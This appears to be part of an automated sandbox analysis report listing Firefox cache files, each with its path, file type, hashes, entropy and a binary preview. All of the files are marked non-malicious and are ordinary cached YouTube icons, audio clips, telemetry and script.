.....tO...........e.due.dvFv..g......p....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/radar_live/v6/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CA

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\2F36740437D841E0ED75580BB5968198D6BE5955

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Applesoft BASIC program data, first line number 76
Category:	dropped
Size (bytes):	10014
Entropy (8bit):	6.425253115917278
Encrypted:	false
SSDEEP:	192:yeIN0mDhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmW9C9F:yeG0mgzwHUL75Vf8eehqrufWWCt2BVmN
MD5:	C62134E0D0AD8B8BC429B93F7AB65C7C
SHA1:	888F5D48864B7BB899FC222628E745E099160EFC
SHA-256:	26F9D46DC2B71B15F7172D57C48C01D83E0C3EBE1AA0C01357172AA89B80C425
SHA-512:	F8609145C6FAB026985AEA599ADE59697BDC7308A9A5A78D1CF48286429193F81A81A667E1EDBDE72FF49C940BF31B644AAE1D6BAAE7EBC8C61697E2475048E1
Malicious:	false
Reputation:	unknown
Preview:	..L.`Q`;.h. n......O...QP..O7.C.....A..V........qd)..+....6..U...5[.n.B1..>...{..w./Jg.5......7-.6....5vc. .d4}.@.`..lk.?\|K....P...+^ha...5d=..c......G.\..M.O.~.4~}Ad......e..T$\|....?......x......p.>..J.?Ab.....Y{...~...G.9.Z.z...2...,$.P..8.H. .......@.4/w....K..V..U.U.....8.l./....O..4...;..N..B. &:UH..v.].N...j.L.].Z....:B..\|..A..P`.....2...i../... ..X.y.T.&V....Q.:...em,...O..R..A...I..47.@..L..+.RY...._...J..$....5.Q.t...R..C..~.M...H.w4..&g...8..,.f.'..{W&..V....Tp.B.D"G"GS'Y .a0.t(.........4..el..l...i.4.@b..n..nU. GNt.P.......?..9.\|....._.ifU..B...PPP....p..U..4i.2....`...... {.T..b..h..N...b..K.8...]^JA2..@'.~..,..ixO...y.B..Du.3s..,..q.M..w.....?r..H...xw...4i..c.(G.%+...]..U..f.g...ex..t......._....f............e.due.dvFv..g.?.........O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_fill/youtube_round/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykK

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\2F98A336BB0E73518918403FB6BB81CD64916CCA

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 83951616
Category:	dropped
Size (bytes):	9671
Entropy (8bit):	6.202328043297243
Encrypted:	false
SSDEEP:	192:wYxkhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEA6EAb:PNzwHUL75Vf8eehqrufWWCt2BVl969b
MD5:	A0419515EDF49F56BC0A5DA349CA123F
SHA1:	E66066F2A3211C9FE2301D4464394F5F87C4F9DA
SHA-256:	FF7998B9FF79060874A71A2B5FCB10905174A87F4DF81F51CBD5574AC4475BE5
SHA-512:	96F583FF48C25481B77A23E0C0927BFA4E6AEBDB92A8081CAFF3EAE669AA44C24212D6671C7CECABC7B539BFFB86219F4E571FCA220D799B4840291324D3DAEF
Malicious:	false
Reputation:	unknown
Preview:	...........PMo.0..+V.6.......z.i......~.0.... Kv.....^.u.ns..<.E.m.m...K!...~8H.xIK.D...}._...A..l..%.p{\|.,...9R..C.BRY....j..>"..Jb.']Y;.Ll,.X:k.....wL...g...U..@..&..K..8t..Le.!..v...j..H0].{..JLb.$.RY..w.kPw8.v.......8M.......p...+.c>Y...4..Z.....{.........e.dqe.dqFv..g.`3...f....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/bag/v4/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSU

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\316D4AA8CC8EE88E47524F992F1DC12899E673D4

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3808428032
Category:	dropped
Size (bytes):	9643
Entropy (8bit):	6.188256334707928
Encrypted:	false
SSDEEP:	192:k6hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEv7EvH:wzwHUL75Vf8eehqrufWWCt2BVlW7WH
MD5:	5EC99E85A38AEA9C543D63A0472B1F4D
SHA1:	388100274824CDCB8E1AD7241523DE8168100F5D
SHA-256:	C0D87B7BA63BEB0DE9718DBF64A49B2CAAF15D7DF5C6B84061DA65C4EC02739D
SHA-512:	1576630CCB14BD212A2C365A3BBBAB668D088DA04807FAA110D5F0627DC53B92DEA342B3553B44AAB13A431B632F160EA56E8DC29F747FBCE05FD57F7C68A138
Malicious:	false
Reputation:	unknown
Preview:	..........M..n.0.._...N..,L.a...."..BU2R..p.l.....f.'x......]......$.RJf..q.O..O.p....rn.2&P9..) ...b+J..c.X.....\|...]s.c.\|..h..I.....j..Lo.x.Zy$s.._~G.~..-.x..v.:.K..G...85).i......{Q5(4d4Td=z..c../!......?k.....G4..I.........e.due.duFv..g......l....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/lightbulb/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRM

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\33200725926A095B3A48EB9ABD6821C7F895DF65

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	17663
Entropy (8bit):	6.472012415632786
Encrypted:	false
SSDEEP:	384:fiEr54zKZHI1wS2djAud9tNtzL28eehqrufWWCt2BVgRHR6:fiEYgdjAudZNL28eehq4w2BVwx6
MD5:	8974DFBE3AD5D7C0EE8479E4D63C85AF
SHA1:	389883C94771268FCF300D412D9FC4F6DC52470B
SHA-256:	C1887A0E14DCC28D0DDE5412CAF08CB2C8D987CEC13E7A32052FD779344013C5
SHA-512:	AB2FC7646E23F7C238EB776AA7C88000BC742841AB9B7E7A4F3295B6B7286F28BD3109667BC19ACDB5FD6E5C28A084FB8153451B00DD6B4628F4D52EB535F928
Malicious:	false
Reputation:	unknown
Preview:	..v. .........l.....{.....bp..{.{..j.L.Oh.].&.....a.....,K1-o...&'..C5..,U..H....Hy....S.5l.7...)..-.i.G.........=.y.....{tG%..&cO>?.=.E...G..........e.fkj~...Bf.R.R./..l)..l.......Mm..:~.....d...E.?>.O..M..[>$...]...W.....n......e~L}Z...{a..`..z.....K.zI}..9.S...p.z._...U..W.\.M}ac..X.BJ....-.....&..iG'i'u...1..\|'.J..~..A.&!Q..f$<,"..Z.e"O~..J....;=H.t3.%..F......Z......~%.D..=..)..P>....m+Qz.._.'...h...}&d.e.."O.).,xX..I.r4..u>..o..`..7-......B._;J.R...J..........H@..#.....p9.T....,..3J.:r.........k,....T.,.C.\..Z.mjHK.4q#j...rtB}E..nL.r.R.Mw}...&.=../.[..zk.w.".7.<....S..,..K&..% ..]Q2.I..`..m..&xv/.$...`....o.%an...(......;F6Z\e..0..G...h.;]....Q.M>..'....N.%u..l...B^.&.3..g.K..f......#u....b.Vq......p.h..[.....T...e..R.o[u.............,t... ...h.<..R.1../.......g....gF~......C.n..S.IPi..y~~L{[fr...2.\|....$.V.....&..+.3..X...\a.K.\|...#3...FB.fv~...I._o6..$......&s.m]..B.2...J.o...l.&5..{.)....[i2g.=5;.{wk..5..&.XwQ...9..&...>."

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\3763D73D3A56359CC8410652776F61D6066EFA49

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	8054
Entropy (8bit):	6.037232205159453
Encrypted:	false
SSDEEP:	192:aJbV2GHyBXO49FgAfBKB2TWCDeBNbZovEplH:aJxVHydO49aAfU2LkAc3
MD5:	9ED8C1C768EC91B921FB089A611731FA
SHA1:	34EE8725274BED76A1680826692249AF522AA3A6
SHA-256:	1F0C2DE783032153BC5A7BA25D6C195383B2FE79869F6CB9E30F4BF2803DE77B
SHA-512:	C2E61DB29CB7221DA93D808D597FF99184861A366E4AC99897880E85D5A1FFF3F69A00999DF8B266BCFA711752F9E58A15FDBE8BA1C9CCCCAF474A6ECB16EBF9
Malicious:	false
Reputation:	unknown
Preview:	.C..........e.dPe.dPFv..e.dP........a,~1705534509,:https://incoming.telemetry.mozilla.org/submit/firefox-desktop/messaging-system/1/fa67d5ff-77bd-4aa6-a666-41287bce730e.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAX1MIIF8TCCA9mgAwIBAgIQAeBji5rfnEKbkKRu9rqqbTANBgkqhkiG9w0BAQsFADCBkjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xKjAoBgNVBAoMIVRoZSBVbml2ZXJzZSBTZWN1cml0eSBDb21wYW55IEx0ZDEqMCgGA1UEAwwhVGhlIFVuaXZlcnNlIFNlY3VyaXR5IENvbXBhbnkgTHRkMB4XDTI0MDExNjIzMzUzOVoXDTI1MDExNTIzMzUzOVowgYExCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMScwJQYDVQQDEx5pbmNvbWluZy50ZWxlbWV0cnkubW96aWxsYS5vcmcwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEIAoIBAQC20hRkz2cHrAqiprMow8s6eCX1stiAWM6NPWKHjVWP+TEK2iMuiOXOoxHa5qYNLnKbU1JQ7HykK0FE3dj1Ww3MN3amatnVeuD6uL/POgKfmulXiUpC03FTxo+4wzgEBWv

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\3892996081ABC95E471CC4B3AE0A858E7A52E706

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 4076863488
Category:	dropped
Size (bytes):	9664
Entropy (8bit):	6.208488415782608
Encrypted:	false
SSDEEP:	192:HNwhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEHEY:HNZzwHUL75Vf8eehqrufWWCt2BVl0n
MD5:	755DF44FEE99B9016F580E4A6EA6EF3C
SHA1:	896493BBD9521580CE9B8F80ACB398D87FA8138B
SHA-256:	53001B2621C040A8719745B2262F5A4CFA3D3706FF9A20E9934077DBC941F6BC
SHA-512:	F0936B09D6F7081AB8B1F0C3CAE19509A74EFB6061BD9C2501C3387A0B9DAE00F5BDD729A6D0EB18BBD83B9C308590F244289C0BEC15CE55BA1546464E540BE3
Malicious:	false
Reputation:	unknown
Preview:	..........MP.n.0.....^?.q..zN>......@.(_..r.l.v.........l.....TJ....9(..V.../.u...~.....j...4-.i...i..Z..5..{}....>..TCS=.}.j...-.0..D.%..........).-S..2a..,E.!.Qf.mn."V.....\.....1..9.;.C@.$C...#\|.F.(.G.t..iF.56..........T..........a................e.dve.dvFv..g..%...o....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/price_tag/v5/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggr

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\39316D784EEB16812342D1D44386E6374E33AD03

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2768240640
Category:	dropped
Size (bytes):	9578
Entropy (8bit):	6.1605328601166525
Encrypted:	false
SSDEEP:	192:6hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEJEj:PzwHUL75Vf8eehqrufWWCt2BVlyE
MD5:	9B6DD907C3B084A4655C0B235F0DC1BC
SHA1:	6D3CAD15FDB39092F0FB131F3526CD1DE8A5E4F2
SHA-256:	B61AFB2B8442C4B48FD040FB4CE36A463FF3575C4B7900A0BC93B758382DB541
SHA-512:	359AE624996B9A2A4CB48A576CEC3AD9990F36F2ED4780A4C9261D49E81608379918EA097E4C39C4736E1ACA35C52820FD7FB4700A097047390680218F069EA8
Malicious:	false
Reputation:	unknown
Preview:	..........MN9..0....}l....Z..,oDp..x#^.C.f....%:....h.....D....D!..).....l......h.L(.D`h{.A.co.4...\|.....Q......5.Xy.c..<f.lx3.......e.\|@.%Rm{c.........-U..U.........e.dqe.dqFv..g..Y...g....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/flag/v6/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAWgB

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\3ADEBC46DAEA2D77E1DF4B4AB6C524084F97786F

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, Apple iTunes ALAC/AAC-LC (.M4A) Audio
Category:	dropped
Size (bytes):	21858
Entropy (8bit):	6.1480950953042255
Encrypted:	false
SSDEEP:	384:V6nEWRLZ77zKZHI1wS2djAud9tNtzL28eehqrufWWCt2BVeRmR8:VKLZHgdjAudZNL28eehq4w2BVa
MD5:	6A46AC9C35726498A281E90A3BE27AEC
SHA1:	0268439C3268961C28EA15CB37AC3F3520F563AC
SHA-256:	4A78C6526C206A0BD534E941E3C456DD38675A5B43DFD1E656F55B3B2EE0780F
SHA-512:	8D7D26505D75FB9C204FC97417C83972D032A0C78BC7222D3F0C89826D47942571CBF9D7FA2887D0413A3202CE694E20FDBD0D33C7DEF5C76BEC78897BFA4C4B
Malicious:	false
Reputation:	unknown
Preview:	... ftypM4A ....M4A mp42isom.......gmoov...lmvhd.............D..8.................................................@...................................trak...\tkhd....................8.................................................@...............mdia... mdhd.............D..8.U......"hdlr........soun.................?minf....smhd...........$dinf....dref............url ........stbl...gstsd...........Wmp4a.........................D.....3esds........"........@.............................stts....................stsc.......................Lstsz...................................i...................z...w...m...M....stco................udta....meta......."hdlr........mdirappl.............rilst...!.nam....data........speak_now....cpil....data.............pgap....data.............tmpo....data.............(.too... data........iTunes 12.3.1.23....----....mean....com.apple.iTunes....name....iTunSMPB....data........ 00000000 00000840 00000151 0000000000002E6F 00000000 00000000 00000000 0000

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\3C8481431E45EC64265097C7B3532837498D3E80

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2483027968
Category:	dropped
Size (bytes):	9567
Entropy (8bit):	6.152554060811839
Encrypted:	false
SSDEEP:	192:dAthChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlE1Es:dfzwHUL75Vf8eehqrufWWCt2BVlkN
MD5:	43F2100D6B2B5389F6F49280A68FD2C3
SHA1:	75CE3C7C433E3DCBD72974F338F0E961D2BB83A8
SHA-256:	32FA078242A0E30A20BB0628B3088C968C24F4DBBA38C0C06B49AF6F3DCA1E10
SHA-512:	C1BF841A4B7FAB5906CCA4E5632979BDF4534422A489FC45842793F9E8B1F17A22375192E7A5A24A832429F26232BA319434509193CBF5AA6CD998A256BFE2AF
Malicious:	false
Reputation:	unknown
Preview:	............;..0........6..H..6}$..R.(X6..3.g..a.>..c\.R.\....R)%.....stXj....Xv...........;..#....J5.J.f:&q.M"..2.<z.m"ub.4...^g...o.........}".........e.dve.dvFv..g.E....o....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/bar_graph/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAWgBSKdH+vhc3

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\3D2EE65213655611AE063776EA786EF2A8F7901B

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, Apple iTunes ALAC/AAC-LC (.M4A) Audio
Category:	dropped
Size (bytes):	22223
Entropy (8bit):	6.188253642216878
Encrypted:	false
SSDEEP:	384:M6CIgwJ0xmmS5YvPlzKZHI1wS2djAud9tNtzL28eehqrufWWCt2BViRcRW:MBpwqBgYHVgdjAudZNL28eehq4w2BVO
MD5:	9817E214E936F8D3B1E8DB4053E73303
SHA1:	3311E1A49BC367C064BA9B3FDD9F0FF2C66D4F69
SHA-256:	7FB37D89B982BD3072525C830F2D76DCDCD866EB1898D22653920CB11EB5DE63
SHA-512:	8463299B68EE83B3AA7C74E55EFEF82F4F07B92A3D980731E9A216ACD8496197B6D5310527044996A6B196D22DFE70AA659576DC1C622DCF7AC99B21111646B5
Malicious:	false
Reputation:	unknown
Preview:	... ftypM4A ....M4A mp42isom........moov...lmvhd.............D..T.................................................@...................................trak...\tkhd....................T.................................................@...............mdia... mdhd.............D..T.U......"hdlr........soun.................[minf....smhd...........$dinf....dref............url ........stbl...gstsd...........Wmp4a.........................D.....3esds........"........@.............................stts....................stsc.......................hstsz.......................~.......k...................a...c...[...Z...c...`...d..._...^...\...e..."....stco................udta....meta......."hdlr........mdirappl.............nilst.....nam....data........error....cpil....data.............pgap....data.............tmpo....data.............(.too... data........iTunes 12.3.1.23....----....mean....com.apple.iTunes....name....iTunSMPB....data........ 00000000 00000840 00000063 0000000000004B5D 0000000

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\3D42E5EC0124520F1B41B56430098D229E66D6E6

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3271557120
Category:	dropped
Size (bytes):	9611
Entropy (8bit):	6.185479762897507
Encrypted:	false
SSDEEP:	192:ehChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEzEY:DzwHUL75Vf8eehqrufWWCt2BVlcL
MD5:	CCDA7976D44EEC9A751EEF2385469A80
SHA1:	5A5EE6ED4C5497D8989B1DC45490A4D14B7EC536
SHA-256:	816F9B9AF3DF4E4D2D60553575626AB5B88A1393F872BCAECACF0BE6931E914C
SHA-512:	E6B5C586E5C0EA6963D1205D9AD626E274328E95FD296C9A2701976E83CC1C2CFE2F1F9E75FC88AB3E802042D4234CA1DBD4B6C86507A8852A7A3ED5AE794926
Malicious:	false
Reputation:	unknown
Preview:	..........M...0...W...!..V...].D..K.&.O_...H..#.].i......UJ.=.....a.......iG#.....=w...g..0.....-..w...(.......2_...FL.........4d....EB2..A H...cL..fQ.8..r.......:9[...\|.,...........................e.dqe.dqFv..g.Q....j....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/flag/v6/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWO

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\3DEFB2E7FB118C6C569C079C7660E8D4EB08E6F6

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	20282
Entropy (8bit):	6.088393650034411
Encrypted:	false
SSDEEP:	384:+n229p7jhr9E51USqKZHIw857nVqN4mAQlpmVTaIdhUN:+Rv/K5p8V4AQlpmZa8hUN
MD5:	729E582867A8B811DAE71124C43E60F8
SHA1:	B7C128B2C7512EBFA5723C2C898F9352F5FD7CFB
SHA-256:	6AE44F3D1874AB8FA0FF6FA09DEEC58917EA8A6E15E51675FBD39DAC8C779098
SHA-512:	62A1D93E18FDEC03F35EC270AEFF01AC6DF66F15C0946319C34281FAE9329DF8AFA6785DB8635493C50BED6884C1FCDCC2503F05E6E78A19C1E111019034C554
Malicious:	false
Reputation:	unknown
Preview:	/.. Copyright 2016 Google Inc. All Rights Reserved... Licensed under the W3C SOFTWARE AND DOCUMENT NOTICE AND LICENSE... https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document../.(function(f,h){function t(a){this.time=a.time;this.target=a.target;this.rootBounds=a.rootBounds;this.boundingClientRect=a.boundingClientRect;this.intersectionRect=a.intersectionRect\|\|q();this.isIntersecting=!!a.intersectionRect;a=this.boundingClientRect;a=a.widtha.height;var b=this.intersectionRect;b=b.widthb.height;this.intersectionRatio=a?b/a:this.isIntersecting?1:0}function d(a,b){b=b\|\|{};if("function"!=typeof a)throw Error("callback must be a function");if(b.root&&1!=b.root.nodeType)throw Error("root must be an Element");.this.g=y(this.g.bind(this),this.B);this.D=a;this.h=[];this.i=[];this.s=this.L(b.rootMargin);this.thresholds=this.J(b.threshold);this.root=b.root\|\|null;this.rootMargin=this.s.map(function(c){return c.value+c.unit}).join(" ")}function y(a,b){var c=null;return function

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\409987ECA980FC5CB0D22E198EA11DD596605A09

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	15899
Entropy (8bit):	6.042437859984032
Encrypted:	false
SSDEEP:	384:ZKzKZHI1wS2djAud9tNtzL28eehqrufWWCt2BVg/W/W:ZUgdjAudZNL28eehq4w2BVYGW
MD5:	3D9BD1A6157442BFFC0ED98ED3CE63E8
SHA1:	925DCC0716BC2695CD8B323F108C4F367CEE24D2
SHA-256:	17B60BEB01FED29DF2FCB883D9DD3A23587F6650A99CECDE3053FCE153022CA9
SHA-512:	AF6D50B0518F8A575D4480A2BE2951990C13BFF491314765C2A0719B3C09C2674B8F42A6D88CC0C97CFAE5F81810B3B7BA99739EF3FE6C496260933EAE42F0A9
Malicious:	false
Reputation:	unknown
